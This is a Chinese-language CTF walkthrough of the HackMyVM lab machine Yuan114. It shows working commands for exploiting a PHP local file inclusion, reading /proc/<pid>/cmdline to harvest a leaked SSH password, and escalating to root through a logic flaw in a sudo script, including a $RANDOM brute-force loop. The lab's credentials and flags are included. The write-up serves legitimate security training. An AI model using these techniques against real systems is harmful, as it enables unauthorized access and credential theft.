跳到主要内容

HackMyVM Yuan114 通关记录|LFI 读取进程参数与 sudo 脚本逻辑缺陷提权

靶机链接:Yuan114


0x01 基本信息

名称IP
Kali Linux192.168.1.113
Yuan114192.168.1.117

攻击流程

点击展开

攻击链摘要

阶段关键证据作用
服务发现22/tcp SSH、80/tcp Apache明确主要攻击面在 Web 与 SSH
可疑入口/file.php 返回 500说明文件可能需要参数或存在异常路径
LFI 确认file=/etc/passwd 可读确认 file 参数存在任意文件读取
源码确认php://filter/convert.base64-encode/resource=file.php确认后端使用 file_get_contents()
凭据泄露/proc/<pid>/cmdline 暴露 welcome 密码从 LFI 获得 SSH 初始权限
Root 提权sudo /opt/short.sh 可执行利用 shell 逻辑缺陷或随机数碰撞获取 root

0x02 侦察与信息收集 (Reconnaissance)

1. 全端口扫描 (RustScan)

命令:

rustscan -a 192.168.1.117 --ulimit 5000 -- -sV

服务列表摘要:

端口服务指纹 / 备注
22/tcpSSHOpenSSH 8.4p1 Debian 11u3
80/tcpHTTPApache httpd 2.4.62

分析: 目标暴露面非常收敛,只有 SSH 与 HTTP。SSH 通常需要凭据,优先从 80 端口 Web 侧寻找文件、参数和信息泄露。


0x03 漏洞探测与分析 (Vulnerability Analysis)

1. Web PHP 文件枚举

使用 ffuf 扫描 Web 根目录下的 PHP 文件:

ffuf -u http://192.168.1.117/FUZZ.php -w /usr/share/wordlists/dirb/common.txt -mc 200,500

发现: /file.php 返回 500 状态码。

分析: 500 不是正常页面,但它是很有价值的线索。对文件读取类入口来说,缺少参数、参数值为空、路径不可用都可能触发后端异常。

2. 参数 Fuzz 与 LFI 确认

file.php 的 GET 参数名进行 Fuzz:

ffuf -u http://192.168.1.117/file.php?FUZZ=/etc/passwd -w /usr/share/wordlists/dirb/common.txt -mc 200

确认参数名为 file 后,尝试读取系统文件:

curl -sS 'http://192.168.1.117/file.php?file=/etc/passwd'

如果响应中出现系统用户,例如 rootwww-data、普通用户目录等,即可确认 file 参数存在 LFI / 任意文件读取。

3. 读取源码确认逻辑

使用 PHP filter 读取 file.php 源码:

curl -sS 'http://192.168.1.117/file.php?file=php://filter/convert.base64-encode/resource=file.php' | base64 -d
<?php
// file.php
$file = $_GET['file'];
echo file_get_contents($file);
?>

源码证实后端使用 file_get_contents() 读取文件。这个点的关键结论是:

  • 可以读取本地文件。
  • 不是 include / require,无法直接通过 PHP 代码包含触发 RCE。
  • 后续攻击方向应从“执行代码”转向“读取敏感文件与运行时信息”。

0x04 核心攻击链:信息泄露获取初始权限

1. 读取 /proc 进程信息

常规日志投毒、PHP wrapper RCE 不通时,可以转向读取 /proc。在 Linux 中,/proc/<pid>/cmdline 可能暴露进程启动参数;如果服务把账号、密码、Token 直接写在命令行里,LFI 就能把它们读出来。

遍历 PID 获取命令行信息:

for i in {1..1000}; do
curl -s "http://192.168.1.117/file.php?file=/proc/$i/cmdline" | tr '\0' ' ' && echo ""
done

关键发现:

service --user welcome --password 6WXqj9Vc2tdXQ3TN0z54 --host localhost --port 8080 infinity

这里泄露了可用凭据:

用户名密码
welcome6WXqj9Vc2tdXQ3TN0z54

2. SSH 初始访问

使用泄露凭据登录 SSH:

登录成功后读取 user flag:

cat user.txt

User Flag:

flag{user-210f652e7e3b7e7359e523ef04e96295}

0x05 权限提升 (Privilege Escalation)

1. sudo 权限枚举

登录后检查当前用户可执行的 sudo 命令:

sudo -l

发现 welcome 可以通过 sudo 执行:

/opt/short.sh
#!/bin/bash

PATH=/usr/bin
My_guess=$RANDOM

echo "This is script logic"
cat << EOF
if [ "$1" != "$My_guess" ] ;then
echo "Nop";
else
bash -i;
fi
EOF

[ "$1" != "$My_guess" ] && echo "Nop" || bash -i

脚本关键逻辑如下:

[ "$1" != "$My_guess" ] && echo "Nop" || bash -i

这段逻辑的含义是:如果传入参数不等于脚本内部生成的 $My_guess,就输出 Nop;否则执行 bash -i。问题在于 && echo "Nop" 的返回值也参与了后续 || bash -i 判断。如果让 echo 执行失败,即使参数猜错,也会落到 || bash -i

方法 A:关闭标准输出诱导报错

关闭 stdout,让 echo "Nop" 写标准输出时失败,从而触发 || bash -i

sudo /opt/short.sh pwned >&-

由于 stdout 被关闭,交互回显会异常。可以用盲打方式把 root flag 写到临时文件:

cat /root/root.txt > /tmp/flag.txt
exit
cat /tmp/flag.txt

方法 B:恢复标准输出交互

进入 root shell 后,把 stdout 重定向到 stderr 来恢复回显:

sudo /opt/short.sh pwned >&-
exec 1>&2
id

确认 root 身份:

uid=0(root) gid=0(root) groups=0(root)

方法 C:随机数碰撞暴力破解

如果不走文件描述符技巧,也可以利用 Bash $RANDOM 范围只有 0-32767 的特点进行碰撞:

for i in {0..32767}; do
sudo /opt/short.sh $i <<< "cat /root/root.txt" 2>/dev/null | grep "flag" && break
done

这个方式思路更直观,但效率和稳定性取决于脚本每次生成随机数的时机、sudo 调用开销以及输出处理。


0x06 最终成果 (Final Flags)

User Flag

  • 路径: /home/welcome/user.txt
  • 内容: flag{user-210f652e7e3b7e7359e523ef04e96295}

Root Flag

  • 路径: /root/root.txt
  • 内容: flag{root-c3dbe270140775bb9fc6eaa2559f914f}

复盘总结

Yuan114 的关键不是复杂利用,而是方向切换:

  1. /file.phpfile 参数能读取文件,但源码确认它只是 file_get_contents(),不适合继续硬怼 PHP 代码执行。
  2. LFI 读取 /proc/<pid>/cmdline 是本题突破点,进程参数中泄露了 welcome 用户密码。
  3. 初始权限来自 SSH,不来自 WebShell。
  4. Root 提权点在 sudo 脚本的 shell 逻辑缺陷:cmd1 && cmd2 || cmd3 中间命令失败时,会意外进入 cmd3
  5. 关闭 stdout 诱导 echo 报错,是比暴力碰撞随机数更稳定的提权方式。

这类题目提醒我们:当 LFI 无法直接 RCE 时,仍应系统性读取运行时信息,例如 /proc/self/environ/proc/<pid>/cmdline、配置文件、日志、用户目录和服务启动脚本。